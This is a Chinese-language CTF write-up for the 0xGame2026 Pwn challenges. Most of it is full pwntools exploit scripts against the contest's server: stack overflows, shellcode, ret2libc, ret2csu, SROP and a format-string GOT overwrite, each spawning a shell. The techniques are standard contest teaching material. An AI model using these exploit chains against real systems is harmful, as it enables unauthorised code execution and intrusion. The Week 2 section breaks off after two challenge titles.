Week1

Pwn

奇妙杂货铺

没有给出附件,就直接nc连接看一下

模拟了一个商铺,玩家作为买家,如果身上有99999个金币就可以获得flag,现在唯一能交互的就是选项1,花10金币买血瓶。

稍微试了一下,发现该程序并没有进行正数检测,如果输入负数,反而会增加玩家的金币,利用这一漏洞点,就可以让玩家获得无限的金币从而获取flag了。

亦步亦趋

haoo@LAPTOP-QH6DKIQF:/mnt/d/国内赛/0xGame2026/Pwn$ checksec yibuyiqu
[*] '/mnt/d/国内赛/0xGame2026/Pwn/yibuyiqu'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

开启了pie保护,因此大概率得先获得程序基址,再进行后面的操作

首先得利用buf能够覆盖修改v2的值这一点,将v2的值改为0xdeadbeef进入level2函数

接着在level2函数中给了我们win函数地址并存在栈溢出漏洞,可以修改返回地址

win函数就是后门函数,那么exp就非常容易编写了,完整如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./yibuyiqu'
#libc_file='libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=39254
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

payload_1 = cyclic(0x20 - 4) + p32(0xdeadbeef)
s(payload_1)
io.recvuntil("It's addr about: 0x")
win_addr = int(io.recv(12),16)
leak("win_addr",win_addr)

base_addr = win_addr - 0x1209
ret = base_addr + 0x000000000000101a

payload_2 = cyclic(0x20 + 8) + p64(ret) + p64(win_addr)
sl(payload_2)
#连接
#--------------------------------------------------------------------------------
ioi()

!?数学基础?!

==================================================
(Scripting 101)
==================================================
系统提示:连续答对 100 道随机四则运算题,即可获得 Flag!
[round:1/100 ]
calculate: 635 一 180 = ?

就是写一个脚本进行100道四则运算,在规定时间内全部答对就能够获得flag,这里就用官方的脚本,如下所示:

from pwn import *
context.log_level = 'debug'
io = remote('nc1.ctfplus.cn',40610)
#io = process('./pwn')
for i in range(100):
io.recvuntil(b'calculate: ')
data = io.recvuntil(b' =')[:-2].decode('utf-8')
if '+' in data:
data = data.replace('+','+')
if '一' in data:
data = data.replace('一','-')
if 'x' in data:
data = data.replace('x','*')
if '÷' in data:
data = data.replace('÷','//')
ans = str(eval(data)).encode()
io.recvuntil(b'answer: ')
io.sendline(ans)
io.interactive()

两次回响

[*] '/mnt/d/国内赛/0xGame2026/Pwn/liangcihuixiang'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No

这种保护,感觉是打shellcode

确实是打shellcode,因为这道题目第一次输入的大小有限,因此得先利用这9字节构造出read,再输入shellcode并执行

看起来是够用的,其实在本地里面直接syscall就行了,但是远程的话得弄一下rdx的值,然后毕竟是输入到rsi所指向的位置,而这个位置前面部分我们已经输入了第一段shellcode,执行完毕后,此时rip指向8字节或者9字节偏移处,因此在构造第二段shellcode时得使用\x90进行补充。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./liangcihuixiang'
#libc_file='libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=35566
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

shellcode_1 = '''
push 0xff
pop rdx
syscall
'''
shellcode_1 = asm(shellcode_1)
sl(shellcode_1)
pause()
shellcode_2 = asm(shellcraft.sh())
s(b"\x90" * 0x10 + shellcode_2)
#连接
#--------------------------------------------------------------------------------
ioi()

保持沉默

首先这道题目先介绍一下dup2(2,1),其作用是将标准输出重定向到标准错误。

这道题目有意思的点在于其先关闭了标准输出,因此如果直接利用vuln函数中的栈溢出去泄漏libc的话是没有输出的,但是我们利用栈溢出跳到put函数执行dup2(2,1),从而就可以恢复输出了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./baochichenmo'
#libc_file='libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=20445
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

pop_rdi = 0x00000000004011fe
pop_rsi = 0x0000000000401200
ret = 0x000000000040101a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
put = 0x40126A
vuln = 0x4012EC

payload_1 = cyclic(0x20 + 8) + p64(pop_rdi) + p64(0xDEADBEEF) + p64(pop_rsi) + p64(0x9527) + p64(put) + p64(vuln)
sl(payload_1)

payload_2 = cyclic(0x20 + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
sl(payload_2)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak('puts_addr',puts_addr)

libc_base = puts_addr - 0x80e50
system_addr = libc_base + 0x50d70
bin_sh = libc_base + 0x1d8678

payload_3 = cyclic(0x20 + 8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
sl(payload_3)
#连接
#--------------------------------------------------------------------------------
ioi()

三扇门

这道题目考查的是ret2csu,但是有非预期,可以直接利用栈溢出返回到后门函数,exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./sanshanmen'
#libc_file='libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=45056
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

ret = 0x000000000040101a
win = 0x000000000040129D

payload = cyclic(0x10 + 8) + p64(win)
sl(payload)
#连接
#--------------------------------------------------------------------------------
ioi()

预期的话就是利用ret2csu,exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./sanshanmen'
#libc_file='libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=45056
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

ret = 0x000000000040101a
win = 0x000000000040125B
csu_1 = 0x000000000040138A
csu_2 = 0x0000000000401370

payload_1 = flat(
b'a'*0x18,
ret,
csu_1,
0, 1, 0x111, 0x222, 0x333, 0x404060,
csu_2,
b'a'*56
)
s(payload_1)
#连接
#--------------------------------------------------------------------------------
ioi()

大道至简

就是一道简单的SROP,关键是这题没法用read读取输入的字节数来控制rax的值,但是这题存在magic函数

可以利用这个函数将rax的值改为15,完整exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./dadaozhijian'
#libc_file='libc.so.6'
elf=ELF(pwn_file)
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=41622
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

syscall = 0x000000000040107A
bin_sh = 0x0000000000403033
magic = 0x000000000040105B

sigFrame = SigreturnFrame()
sigFrame.rax = 0x3b
sigFrame.rdi = bin_sh
sigFrame.rsi = 0
sigFrame.rdx = 0
sigFrame.rip = syscall

payload = cyclic(0x18) + p64(magic) + p64(syscall) + bytes(sigFrame)
sl(payload)
#连接
#--------------------------------------------------------------------------------
ioi()

这怎么可以作为名字啊!

一道利用格式化字符串漏洞的题目

这道题目明显没有栈溢出,但是有两次可以利用的格式化字符串漏洞,以及有puts(buf)这种格式,那么是不是可以先向buf中输入/bin/sh字符串,再利用printf将puts改为system,这么一来是不是就有了system(buf)。思路很清晰了,那么就一步一步来。

首先泄漏libc。能向buf中输入的字符串数量还是比较多的,就在这里泄漏吧

pwndbg> fmtarg 0x7fffffffd3f0
The index of format argument : 6 (\"\%5$p\")

发现我们输入的偏移为6,那么将某个函数的got表地址输入进去是不是就可以泄漏了,因为得先输入/bin/sh字符串,因此就在偏移为8的地方输入

puts_got = elf.got['puts']
payload = b"/bin/sh;" + b"%8$saaaa" + p64(puts_got)
s(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
leak("puts_addr",puts_addr)

泄漏出来后就构造payload修改puts的got表,因为在第一个payload里面已经输入过puts的got表地址了,所以在第二次就只需要输入低位或高位的就行了。完整的exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=21381
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))


puts_got = elf.got['puts']
payload_1 = b"/bin/sh;" + b"%8$saaaa" + p64(puts_got)
s(payload_1)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
leak("puts_addr",puts_addr)
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']

low = system & 0xffff
high = (system >> 16) & 0xff

payload_2 = (f'%{high}c%12$hhn' + f'%{low-high}c%8$hn').encode()
payload_2 = payload_2.ljust(0x18,b'a')
payload_2 += p64(puts_got + 2)

sl(payload_2)
#连接
#--------------------------------------------------------------------------------
ioi()

Week2

Pwn

login

看起来是一道简单的ret2libc题目,但是这道题目libc的system被修改成执行/bin/ls指令,如下

[DEBUG] Received 0x36 bytes:
b"ls: cannot access 'exit 0': No such file or directory\n"
ls: cannot access 'exit 0': No such file or directory

因此就换一个思路,反正已经泄漏了libc基址,gadgets也足够,构造execve(“/bin/sh”,0,0)来获取shell,首先将/bin/sh输入到bss段上再进行构造获取shell。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./pwn'
libc_file='libc.so.6'
elf=ELF(pwn_file)
libc=ELF(libc_file)
rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='nc1.ctfplus.cn'
port=24144
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式
s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()
#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt = elf.plt['read']
vuln = elf.symbols['vuln']
bss = elf.bss()

pop_rdi = 0x000000000040119e
pop_rsi = 0x00000000004011a0
pop_rdx = 0x00000000004011a2
ret = 0x000000000040101a

payload = cyclic(0x20 + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
sl(payload)

io.recvuntil("Done!\n")
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak("puts_addr",puts_addr)

libc_base = puts_addr - 0x80e50

execve = libc_base + libc.sym['execve']

payload = cyclic(0x20 + 8) + p64(ret) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x20) + p64(read_plt) + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(execve)
sa("Input your payload: ",payload)
sl(b"/bin/sh\x00")
#连接
#--------------------------------------------------------------------------------
ioi()

调皮的文件

笼中鸟